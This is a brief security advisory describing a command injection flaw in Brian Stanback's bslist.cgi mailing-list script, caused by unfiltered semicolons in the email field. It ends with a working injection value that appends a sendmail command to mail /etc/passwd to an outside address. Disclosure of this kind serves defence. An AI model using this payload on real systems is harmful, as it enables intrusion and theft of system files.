An input validation vulnerability exists in Brian Stanback's bslist.cgi, a script designed to coordinate mailing lists.
The script fails to properly filter ';' characters from the user-supplied email addresses collected by the script.
As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server.
This can be exploited by signing up for the mailing list with the email address of
'email@example.com;/usr/sbin/sendmail firstname.lastname@example.org < /etc/passwd'